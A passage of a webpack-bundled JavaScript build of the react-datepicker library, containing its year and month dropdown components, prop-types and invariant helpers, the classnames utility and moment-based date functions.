true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _react = __webpack_require__(3); var _react2 = _interopRequireDefault(_react); var _propTypes = __webpack_require__(4); var _propTypes2 = _interopRequireDefault(_propTypes); var _year_dropdown_options = __webpack_require__(9); var _year_dropdown_options2 = _interopRequireDefault(_year_dropdown_options); var _reactOnclickoutside = __webpack_require__(11); var _reactOnclickoutside2 = _interopRequireDefault(_reactOnclickoutside); var _date_utils = __webpack_require__(12); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } var WrappedYearDropdownOptions = (0, _reactOnclickoutside2.default)(_year_dropdown_options2.default); var YearDropdown = function (_React$Component) { _inherits(YearDropdown, _React$Component); function YearDropdown() { var _ref; var _temp, _this, _ret; _classCallCheck(this, YearDropdown); for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } return _ret = (_temp = (_this = _possibleConstructorReturn(this, (_ref = YearDropdown.__proto__ || Object.getPrototypeOf(YearDropdown)).call.apply(_ref, [this].concat(args))), _this), _this.state = { dropdownVisible: false }, _this.renderSelectOptions = function () { var minYear = _this.props.minDate ? (0, _date_utils.getYear)(_this.props.minDate) : 1900; var maxYear = _this.props.maxDate ? (0, _date_utils.getYear)(_this.props.maxDate) : 2100; var options = []; for (var i = minYear; i <= maxYear; i++) { options.push(_react2.default.createElement( 'option', { key: i, value: i }, i )); } return options; }, _this.onSelectChange = function (e) { _this.onChange(e.target.value); }, _this.renderSelectMode = function () { return _react2.default.createElement( 'select', { value: _this.props.year, className: 'react-datepicker__year-select', onChange: _this.onSelectChange }, _this.renderSelectOptions() ); }, _this.renderReadView = function (visible) { return _react2.default.createElement( 'div', { key: 'read', style: { visibility: visible ? 'visible' : 'hidden' }, className: 'react-datepicker__year-read-view', onClick: _this.toggleDropdown }, _react2.default.createElement('span', { className: 'react-datepicker__year-read-view--down-arrow' }), _react2.default.createElement( 'span', { className: 'react-datepicker__year-read-view--selected-year' }, _this.props.year ) ); }, _this.renderDropdown = function () { return _react2.default.createElement(WrappedYearDropdownOptions, { key: 'dropdown', ref: 'options', year: _this.props.year, onChange: _this.onChange, onCancel: _this.toggleDropdown, minDate: _this.props.minDate, maxDate: _this.props.maxDate, scrollableYearDropdown: _this.props.scrollableYearDropdown, yearDropdownItemNumber: _this.props.yearDropdownItemNumber }); }, _this.renderScrollMode = function () { var dropdownVisible = _this.state.dropdownVisible; var result = [_this.renderReadView(!dropdownVisible)]; if (dropdownVisible) { result.unshift(_this.renderDropdown()); } return result; }, _this.onChange = function (year) { _this.toggleDropdown(); if (year === _this.props.year) return; _this.props.onChange(year); }, _this.toggleDropdown = function () { _this.setState({ dropdownVisible: !_this.state.dropdownVisible }); }, _temp), _possibleConstructorReturn(_this, _ret); } _createClass(YearDropdown, [{ key: 'render', value: function render() { var renderedDropdown = void 0; switch (this.props.dropdownMode) { case 'scroll': renderedDropdown = this.renderScrollMode(); break; case 'select': renderedDropdown = this.renderSelectMode(); break; } return _react2.default.createElement( 'div', { className: 'react-datepicker__year-dropdown-container react-datepicker__year-dropdown-container--' + this.props.dropdownMode }, renderedDropdown ); } }]); return YearDropdown; }(_react2.default.Component); YearDropdown.propTypes = { dropdownMode: _propTypes2.default.oneOf(['scroll', 'select']).isRequired, maxDate: _propTypes2.default.object, minDate: _propTypes2.default.object, onChange: _propTypes2.default.func.isRequired, scrollableYearDropdown: _propTypes2.default.bool, year: _propTypes2.default.number.isRequired, yearDropdownItemNumber: _propTypes2.default.number }; exports.default = YearDropdown; /***/ }), /* 3 */ /***/ (function(module, exports) { module.exports = __WEBPACK_EXTERNAL_MODULE_3__; /***/ }), /* 4 */ /***/ (function(module, exports, __webpack_require__) { /** * Copyright 2013-present, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. */ if (false) { var REACT_ELEMENT_TYPE = (typeof Symbol === 'function' && Symbol.for && Symbol.for('react.element')) || 0xeac7; var isValidElement = function(object) { return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE; }; // By explicitly using `prop-types` you are opting into new development behavior. // http://fb.me/prop-types-in-prod var throwOnDirectAccess = true; module.exports = require('./factoryWithTypeCheckers')(isValidElement, throwOnDirectAccess); } else { // By explicitly using `prop-types` you are opting into new production behavior. // http://fb.me/prop-types-in-prod module.exports = __webpack_require__(5)(); } /***/ }), /* 5 */ /***/ (function(module, exports, __webpack_require__) { /** * Copyright 2013-present, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. */ 'use strict'; var emptyFunction = __webpack_require__(6); var invariant = __webpack_require__(7); var ReactPropTypesSecret = __webpack_require__(8); module.exports = function() { function shim(props, propName, componentName, location, propFullName, secret) { if (secret === ReactPropTypesSecret) { // It is still safe when called from React. return; } invariant( false, 'Calling PropTypes validators directly is not supported by the `prop-types` package. ' + 'Use PropTypes.checkPropTypes() to call them. ' + 'Read more at http://fb.me/use-check-prop-types' ); }; shim.isRequired = shim; function getShim() { return shim; }; // Important! // Keep this list in sync with production version in `./factoryWithTypeCheckers.js`. var ReactPropTypes = { array: shim, bool: shim, func: shim, number: shim, object: shim, string: shim, symbol: shim, any: shim, arrayOf: getShim, element: shim, instanceOf: getShim, node: shim, objectOf: getShim, oneOf: getShim, oneOfType: getShim, shape: getShim }; ReactPropTypes.checkPropTypes = emptyFunction; ReactPropTypes.PropTypes = ReactPropTypes; return ReactPropTypes; }; /***/ }), /* 6 */ /***/ (function(module, exports) { "use strict"; /** * Copyright (c) 2013-present, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. * * */ function makeEmptyFunction(arg) { return function () { return arg; }; } /** * This function accepts and discards inputs; it has no side effects. This is * primarily useful idiomatically for overridable function endpoints which * always need to be callable, since JS lacks a null-call idiom ala Cocoa. */ var emptyFunction = function emptyFunction() {}; emptyFunction.thatReturns = makeEmptyFunction; emptyFunction.thatReturnsFalse = makeEmptyFunction(false); emptyFunction.thatReturnsTrue = makeEmptyFunction(true); emptyFunction.thatReturnsNull = makeEmptyFunction(null); emptyFunction.thatReturnsThis = function () { return this; }; emptyFunction.thatReturnsArgument = function (arg) { return arg; }; module.exports = emptyFunction; /***/ }), /* 7 */ /***/ (function(module, exports, __webpack_require__) { /** * Copyright (c) 2013-present, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. * */ 'use strict'; /** * Use invariant() to assert state which your program assumes to be true. * * Provide sprintf-style format (only %s is supported) and arguments * to provide information about what broke and what you were * expecting. * * The invariant message will be stripped in production, but the invariant * will remain to ensure logic does not differ in production. */ var validateFormat = function validateFormat(format) {}; if (false) { validateFormat = function validateFormat(format) { if (format === undefined) { throw new Error('invariant requires an error message argument'); } }; } function invariant(condition, format, a, b, c, d, e, f) { validateFormat(format); if (!condition) { var error; if (format === undefined) { error = new Error('Minified exception occurred; use the non-minified dev environment ' + 'for the full error message and additional helpful warnings.'); } else { var args = [a, b, c, d, e, f]; var argIndex = 0; error = new Error(format.replace(/%s/g, function () { return args[argIndex++]; })); error.name = 'Invariant Violation'; } error.framesToPop = 1; // we don't care about invariant's own frame throw error; } } module.exports = invariant; /***/ }), /* 8 */ /***/ (function(module, exports) { /** * Copyright 2013-present, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. */ 'use strict'; var ReactPropTypesSecret = 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED'; module.exports = ReactPropTypesSecret; /***/ }), /* 9 */ /***/ (function(module, exports, __webpack_require__) { 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _react = __webpack_require__(3); var _react2 = _interopRequireDefault(_react); var _propTypes = __webpack_require__(4); var _propTypes2 = _interopRequireDefault(_propTypes); var _classnames = __webpack_require__(10); var _classnames2 = _interopRequireDefault(_classnames); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } function generateYears(year, noOfYear, minDate, maxDate) { var list = []; for (var i = 0; i < 2 * noOfYear + 1; i++) { var newYear = year + noOfYear - i; var isInRange = true; if (minDate) { isInRange = minDate.year() <= newYear; } if (maxDate && isInRange) { isInRange = maxDate.year() >= newYear; } if (isInRange) { list.push(newYear); } } return list; } var YearDropdownOptions = function (_React$Component) { _inherits(YearDropdownOptions, _React$Component); function YearDropdownOptions(props) { _classCallCheck(this, YearDropdownOptions); var _this = _possibleConstructorReturn(this, (YearDropdownOptions.__proto__ || Object.getPrototypeOf(YearDropdownOptions)).call(this, props)); _this.renderOptions = function () { var selectedYear = _this.props.year; var options = _this.state.yearsList.map(function (year) { return _react2.default.createElement( 'div', { className: 'react-datepicker__year-option', key: year, ref: year, onClick: _this.onChange.bind(_this, year) }, selectedYear === year ? _react2.default.createElement( 'span', { className: 'react-datepicker__year-option--selected' }, '\u2713' ) : '', year ); }); var minYear = _this.props.minDate ? _this.props.minDate.year() : null; var maxYear = _this.props.maxDate ? _this.props.maxDate.year() : null; if (!maxYear || !_this.state.yearsList.find(function (year) { return year === maxYear; })) { options.unshift(_react2.default.createElement( 'div', { className: 'react-datepicker__year-option', ref: 'upcoming', key: 'upcoming', onClick: _this.incrementYears }, _react2.default.createElement('a', { className: 'react-datepicker__navigation react-datepicker__navigation--years react-datepicker__navigation--years-upcoming' }) )); } if (!minYear || !_this.state.yearsList.find(function (year) { return year === minYear; })) { options.push(_react2.default.createElement( 'div', { className: 'react-datepicker__year-option', ref: 'previous', key: 'previous', onClick: _this.decrementYears }, _react2.default.createElement('a', { className: 'react-datepicker__navigation react-datepicker__navigation--years react-datepicker__navigation--years-previous' }) )); } return options; }; _this.onChange = function (year) { _this.props.onChange(year); }; _this.handleClickOutside = function () { _this.props.onCancel(); }; _this.shiftYears = function (amount) { var years = _this.state.yearsList.map(function (year) { return year + amount; }); _this.setState({ yearsList: years }); }; _this.incrementYears = function () { return _this.shiftYears(1); }; _this.decrementYears = function () { return _this.shiftYears(-1); }; var yearDropdownItemNumber = props.yearDropdownItemNumber, scrollableYearDropdown = props.scrollableYearDropdown; var noOfYear = yearDropdownItemNumber || (scrollableYearDropdown ? 10 : 5); _this.state = { yearsList: generateYears(_this.props.year, noOfYear, _this.props.minDate, _this.props.maxDate) }; return _this; } _createClass(YearDropdownOptions, [{ key: 'render', value: function render() { var dropdownClass = (0, _classnames2.default)({ 'react-datepicker__year-dropdown': true, 'react-datepicker__year-dropdown--scrollable': this.props.scrollableYearDropdown }); return _react2.default.createElement( 'div', { className: dropdownClass }, this.renderOptions() ); } }]); return YearDropdownOptions; }(_react2.default.Component); YearDropdownOptions.propTypes = { minDate: _propTypes2.default.object, maxDate: _propTypes2.default.object, onCancel: _propTypes2.default.func.isRequired, onChange: _propTypes2.default.func.isRequired, scrollableYearDropdown: _propTypes2.default.bool, year: _propTypes2.default.number.isRequired, yearDropdownItemNumber: _propTypes2.default.number }; exports.default = YearDropdownOptions; /***/ }), /* 10 */ /***/ (function(module, exports, __webpack_require__) { var __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;/*! Copyright (c) 2016 Jed Watson. Licensed under the MIT License (MIT), see http://jedwatson.github.io/classnames */ /* global define */ (function () { 'use strict'; var hasOwn = {}.hasOwnProperty; function classNames () { var classes = []; for (var i = 0; i < arguments.length; i++) { var arg = arguments[i]; if (!arg) continue; var argType = typeof arg; if (argType === 'string' || argType === 'number') { classes.push(arg); } else if (Array.isArray(arg)) { classes.push(classNames.apply(null, arg)); } else if (argType === 'object') { for (var key in arg) { if (hasOwn.call(arg, key) && arg[key]) { classes.push(key); } } } } return classes.join(' '); } if (typeof module !== 'undefined' && module.exports) { module.exports = classNames; } else if (true) { // register as 'classnames', consistent with npm package name !(__WEBPACK_AMD_DEFINE_ARRAY__ = [], __WEBPACK_AMD_DEFINE_RESULT__ = function () { return classNames; }.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__), __WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__)); } else { window.classNames = classNames; } }()); /***/ }), /* 11 */ /***/ (function(module, exports) { module.exports = __WEBPACK_EXTERNAL_MODULE_11__; /***/ }), /* 12 */ /***/ (function(module, exports, __webpack_require__) { 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.newDate = newDate; exports.newDateWithOffset = newDateWithOffset; exports.now = now; exports.cloneDate = cloneDate; exports.parseDate = parseDate; exports.isMoment = isMoment; exports.isDate = isDate; exports.formatDate = formatDate; exports.safeDateFormat = safeDateFormat; exports.setTime = setTime; exports.setMonth = setMonth; exports.setYear = setYear; exports.setUTCOffset = setUTCOffset; exports.getSecond = getSecond; exports.getMinute = getMinute; exports.getHour = getHour; exports.getDay = getDay; exports.getWeek = getWeek; exports.getMonth = getMonth; exports.getYear = getYear; exports.getDate = getDate; exports.getUTCOffset = getUTCOffset; exports.getDayOfWeekCode = getDayOfWeekCode; exports.getStartOfDay = getStartOfDay; exports.getStartOfWeek = getStartOfWeek; exports.getStartOfMonth = getStartOfMonth; exports.getStartOfDate = getStartOfDate; exports.getEndOfWeek = getEndOfWeek; exports.getEndOfMonth = getEndOfMonth; exports.addMinutes = addMinutes; exports.addDays = addDays; exports.addWeeks = addWeeks; exports.addMonths = addMonths; exports.addYears = addYears; exports.subtractDays = subtractDays; exports.subtractWeeks = subtractWeeks; exports.subtractMonths = subtractMonths; exports.subtractYears = subtractYears; exports.isBefore = isBefore; exports.isAfter = isAfter; exports.equals = equals; exports.isSameMonth = isSameMonth; exports.isSameDay = isSameDay; exports.isSameUtcOffset = isSameUtcOffset; exports.isDayInRange = isDayInRange; exports.getDaysDiff = getDaysDiff; exports.localizeDate = localizeDate; exports.getDefaultLocale = getDefaultLocale; exports.getDefaultLocaleData = getDefaultLocaleData; exports.registerLocale = registerLocale; exports.getLocaleData = getLocaleData; exports.getLocaleDataForLocale = getLocaleDataForLocale; exports.getWeekdayMinInLocale = getWeekdayMinInLocale; exports.getWeekdayShortInLocale = getWeekdayShortInLocale; exports.getMonthInLocale = getMonthInLocale; exports.isDayDisabled = isDayDisabled; exports.isTimeDisabled = isTimeDisabled; exports.isTimeInDisabledRange = isTimeInDisabledRange; exports.allDaysDisabledBefore = allDaysDisabledBefore; exports.allDaysDisabledAfter = allDaysDisabledAfter; exports.getEffectiveMinDate = getEffectiveMinDate; exports.getEffectiveMaxDate = getEffectiveMaxDate; var _moment = __webpack_require__(13); var _moment2 = _interopRequireDefault(_moment); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var dayOfWeekCodes = { 1: 'mon', 2: 'tue', 3: 'wed', 4: 'thu', 5: 'fri', 6: 'sat', 7: 'sun' // These functions are not exported so // that we avoid magic strings like 'days' };function set(date, unit, to) { return date.set(unit, to); } function add(date, amount, unit) { return date.add(amount, unit); } function subtract(date, amount, unit) { return date.subtract(amount, unit); } function get(date, unit) { return date.get(unit); } function getStartOf(date, unit) { return date.startOf(unit); } function getEndOf(date, unit) { return date.endOf(unit); } function getDiff(date1, date2, unit) { return date1.diff(date2, unit); } function isSame(date1, date2, unit) { return date1.isSame(date2, unit); } // ** Date Constructors ** function newDate(point) { return (0, _moment2.default)(point); } function newDateWithOffset(utcOffset) { return (0, _moment2.default)().utc().utcOffset(utcOffset); } function now(maybeFixedUtcOffset) { if (maybeFixedUtcOffset == null) { return newDate(); } return newDateWithOffset(maybeFixedUtcOffset); } function cloneDate(date) { return date.clone(); } function parseDate(value, _ref) { var dateFormat = _ref.dateFormat, locale = _ref.locale; var m = (0, _moment2.default)(value, dateFormat, locale || _moment2.default.locale(), true); return m.isValid() ? m : null; } // ** Date "Reflection" ** function isMoment(date) { return _moment2.default.isMoment(date); } function isDate(date) { return _moment2.default.isDate(date); } // ** Date Formatting ** function formatDate(date, format) { return date.format(format); } function safeDateFormat(date, _ref2) { var dateFormat = _ref2.dateFormat, locale = _ref2.locale; return date && date.clone().locale(locale || _moment2.default.locale()).format(Array.isArray(dateFormat) ? dateFormat[0] : dateFormat) || ''; } // ** Date Setters ** function setTime(date, _ref3) { var hour = _ref3.hour, minute = _ref3.minute, second = _ref3.second; date.set({ hour: hour, minute: minute, second: second }); return date; } function setMonth(date, month) { return set(date, 'month', month); } function setYear(date, year) { return set(date, 'year', year); } function setUTCOffset(date, offset) { return date.utcOffset(offset); } // ** Date Getters ** function getSecond(date) { return get(date, 'second'); } function getMinute(date) { return get(date, 'minute'); } function getHour(date) { return get(date, 'hour'); } // Returns day of week function getDay(date) { return get(date, 'day'); } function getWeek(date) { return get(date, 'week'); } function getMonth(date) { return get(date, 'month'); } function getYear(date) { return get(date, 'year'); } // Returns day of month function getDate(date) { return get(date, 'date'); } function getUTCOffset() { return (0, _moment2.default)().utcOffset(); } function getDayOfWeekCode(day) { return dayOfWeekCodes[day.isoWeekday()]; } // *** Start of *** function getStartOfDay(date) { return getStartOf(date, 'day'); } function getStartOfWeek(date) { return getStartOf(date, 'week'); } function getStartOfMonth(date) { return getStartOf(date, 'month'); } function getStartOfDate(date) { return getStartOf(date, 'date'); } // *** End of *** function getEndOfWeek(date) { return getEndOf(date, 'week'); } function getEndOfMonth(date) { return getEndOf(date, 'month'); } // ** Date Math ** // *** Addition *** function addMinutes(date, amount) { return add(date, amount, 'minutes'); } function addDays(date, amount) { return add(date, amount, 'days'); } function addWeeks(date, amount) { return add(date, amount, 'weeks'); } function addMonths(date, amount) { return add(date, amount, 'months'); } function addYears(date, amount) { return add(date, amount, 'years'); } // *** Subtraction *** function subtractDays(date, amount) { return subtract(date, amount, 'days'); } function subtractWeeks(date, amount) { return subtract(date, amount, 'weeks'); } function subtractMonths(date, amount) { return subtract(date, amount, 'months'); } function subtractYears(date, amount) { return subtract(date, amount, 'years'); } // ** Date Comparison ** function isBefore(date1, date2) { return date1.isBefore(date2); } function isAfter(date1, date2) { return date1.isAfter(date2); } function equals(date1, date2) { return date1.isSame(date2); } function isSameMonth(date1, date2) { return isSame(date1, date2, 'month'); } function isSameDay(moment1, moment2) { if (moment1 && moment2) { return moment1.isSame(moment2, 'day'); } else { return !moment1 && !moment2; } } function isSameUtcOffset(moment1, moment2) { if (moment1 && moment2) { return moment1.utcOffset() === moment2.utcOffset(); } else { return !moment1 && !moment2; } } function isDayInRange(day, startDate, endDate) { var before = startDate.clone().startOf('day').subtract(1, 'seconds'); var after = endDate.clone().startOf('day').add(1, 'seconds'); return day.clone().startOf('day').isBetween(before, after); } // *** Diffing *** function getDaysDiff(date1, date2) { return getDiff(date1, date2, 'days'); } // ** Date Localization ** function localizeDate(date, locale) { return date.clone().locale(locale || _moment2.default.locale()); } function getDefaultLocale() { return _moment2.default.locale(); } function getDefaultLocaleData() { return _moment2.default.localeData(); } function registerLocale(localeName, localeData) { _moment2.default.defineLocale(localeName, localeData); } function getLocaleData(date) { return date.localeData(); } function getLocaleDataForLocale(locale) { return _moment2.default.localeData(locale); } function getWeekdayMinInLocale(locale, date) { return locale.weekdaysMin(date); } function getWeekdayShortInLocale(locale, date) { return locale.weekdaysShort(date); } // TODO what is this format exactly? function getMonthInLocale(locale, date, format) { return locale.months(date, format); } // ** Utils for some components ** function isDayDisabled(day) { var _ref4 = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}, minDate = _ref4.minDate, maxDate = _ref4.maxDate, excludeDates = _ref4.excludeDates, includeDates = _ref4.includeDates, filterDate = _ref4.filterDate; return minDate && day.isBefore(minDate, 'day') || maxDate && day.isAfter(maxDate, 'day') || excludeDates && excludeDates.some(function (excludeDate) { return isSameDay(day, excludeDate); }) || includeDates && !includeDates.some(function (includeDate) { return isSameDay(day, includeDate); }) || filterDate && !filterDate(day.clone()) || false; } function isTimeDisabled(time, disabledTimes) { var l = disabledTimes.length; for (var i = 0; i < l; i++) { if (disabledTimes[i].get('hours') === time.get('hours') && disabledTimes[i].get('minutes') === time.get('minutes')) { return true; } } return false; } function isTimeInDisabledRange(time, _ref5) { var minTime = _ref5.minTime, maxTime = _ref5.maxTime; if (!minTime || !maxTime) { throw new Error('Both minTime and maxTime props required'); } var base = (0, _moment2.default)().hours(0).minutes(0).seconds(0); var baseTime = base.clone().hours(time.get('hours')).minutes(time.get('minutes')); var min = base.clone().hours(minTime.get('hours')).minutes(minTime.get('minutes')); var max = base.clone().hours(maxTime.get('hours')).minutes(maxTime.get('minutes')); return !(baseTime.isSameOrAfter(min) && baseTime.isSameOrBefore(max)); } function allDaysDisabledBefore(day, unit) { var _ref6 = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {}, minDate = _ref6.minDate, includeDates = _ref6.includeDates; var dateBefore = day.clone().subtract(1, unit); return minDate && dateBefore.isBefore(minDate, unit) || includeDates && includeDates.every(function (includeDate) { return dateBefore.isBefore(includeDate, unit); }) || false; } function allDaysDisabledAfter(day, unit) { var _ref7 = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {}, maxDate = _ref7.maxDate, includeDates = _ref7.includeDates; var dateAfter = day.clone().add(1, unit); return maxDate && dateAfter.isAfter(maxDate, unit) || includeDates && includeDates.every(function (includeDate) { return dateAfter.isAfter(includeDate, unit); }) || false; } function getEffectiveMinDate(_ref8) { var minDate = _ref8.minDate, includeDates = _ref8.includeDates; if (includeDates && minDate) { return _moment2.default.min(includeDates.filter(function (includeDate) { return minDate.isSameOrBefore(includeDate, 'day'); })); } else if (includeDates) { return _moment2.default.min(includeDates); } else { return minDate; } } function getEffectiveMaxDate(_ref9) { var maxDate = _ref9.maxDate, includeDates = _ref9.includeDates; if (includeDates && maxDate) { return _moment2.default.max(includeDates.filter(function (includeDate) { return maxDate.isSameOrAfter(includeDate, 'day'); })); } else if (includeDates) { return _moment2.default.max(includeDates); } else { return maxDate; } } /***/ }), /* 13 */ /***/ (function(module, exports) { module.exports = __WEBPACK_EXTERNAL_MODULE_13__; /***/ }), /* 14 */ /***/ (function(module, exports, __webpack_require__) { 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _react = __webpack_require__(3); var _react2 = _interopRequireDefault(_react); var _propTypes = __webpack_require__(4); var _propTypes2 = _interopRequireDefault(_propTypes); var _month_dropdown_options = __webpack_require__(15); var _month_dropdown_options2 = _interopRequireDefault(_month_dropdown_options); var _reactOnclickoutside = __webpack_require__(11); var _reactOnclickoutside2 = _interopRequireDefault(_reactOnclickoutside); var _date_utils = __webpack_require__(12); var utils = _interopRequireWildcard(_date_utils); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj.default = obj; return newObj; } } function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } var WrappedMonthDropdownOptions = (0, _reactOnclickoutside2.default)(_month_dropdown_options2.default); var MonthDropdown = function (_React$Component) { _inherits(MonthDropdown, _React$Component); function MonthDropdown() { var _ref; var _temp, _this, _ret; _classCallCheck(this, MonthDropdown); for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } return _ret = (_temp = (_this = _possibleConstructorReturn(this, (_ref = MonthDropdown.__proto__ || Object.getPrototypeOf(MonthDropdown)).call.apply(_ref, [this].concat(args))), _this), _this.state = { dropdownVisible: false }, _this.renderSelectOptions = function (monthNames) { return monthNames.map(function (M, i) { return _react2.default.createElement( 'option', { key: i, value: i }, M ); }); }, _this.renderSelectMode = function (monthNames) { return _react2.default.createElement( 'select', { value: _this.props.month, className: 'react-datepicker__month-select', onChange: function onChange(e) { return _this.onChange(e.target.value); } }, _this.renderSelectOptions(monthNames) ); }, _this.renderReadView = function (visible, monthNames) { return _react2.default.createElement( 'div', { key: 'read', style: { visibility: visible ? 'visible' : 'hidden' }, className: 'react-datepicker__month-read-view', onClick: _this.toggleDropdown }, _react2.default.createElement( 'span', { className: 'react-datepicker__month-read-view--selected-month' }, monthNames[_this.props.month] ), _react2.default.createElement('span', { className: 'react-datepicker__month-read-view--down-arrow' }) ); }, _this.renderDropdown = function (monthNames) { return _react2.default.createElement(WrappedMonthDropdownOptions, { key: 'dropdown', ref: 'options', month: _this.props.month, monthNames: monthNames, onChange: _this.onChange, onCancel: _this.toggleDropdown }); }, _this.renderScrollMode = function (monthNames) { var dropdownVisible = _this.state.dropdownVisible; var result = [_this.renderReadView(!dropdownVisible, monthNames)]; if (dropdownVisible) { result.unshift(_this.renderDropdown(monthNames)); } return result; }, _this.onChange = function (month) { _this.toggleDropdown(); if (month !== _this.props.month) { _this.props.onChange(month); } }, _this.toggleDropdown = function () { return _this.setState({ dropdownVisible: !_this.state.dropdownVisible }); }, _temp), _possibleConstructorReturn(_this, _ret); } _createClass(MonthDropdown, [{ key: 'render', value: function render() { var _this2 = this; var localeData = utils.getLocaleDataForLocale(this.props.locale); var monthNames = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11].map(function (M) { return utils.getMonthInLocale(localeData, utils.newDate({ M: M }), _this2.props.dateFormat); }); var renderedDropdown = void 0; switch (this.props.dropdownMode) { case 'scroll': renderedDropdown = this.renderScrollMode(monthNames); break; case 'select': renderedDropdown = this.renderSelectMode(monthNames); break; } return _react2.default.createElement( 'div', { className: 'react-datepicker__month-dropdown-container react-datepicker__month-dropdown-container--' + this.props.dropdownMode }, renderedDropdown ); } }]); return MonthDropdown; }(_react2.default.Component); MonthDropdown.propTypes = { dropdownMode: _propTypes2.default.oneOf(['scroll', 'select']).isRequired, locale: _propTypes2.default.string, dateFormat: _propTypes2.default.string.isRequired, month: _propTypes2.default.number.isRequired, onChange: _propTypes2.default.func.isRequired }; exports.default = MonthDropdown; /***/ }), /* 15 */ /***/ (function(module, exports, __webpack_require__) { 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _react = __webpack_require__(3); var _react2 = _interopRequireDefault(_react); var _propTypes = __webpack_require__(4); var _propTypes2 = 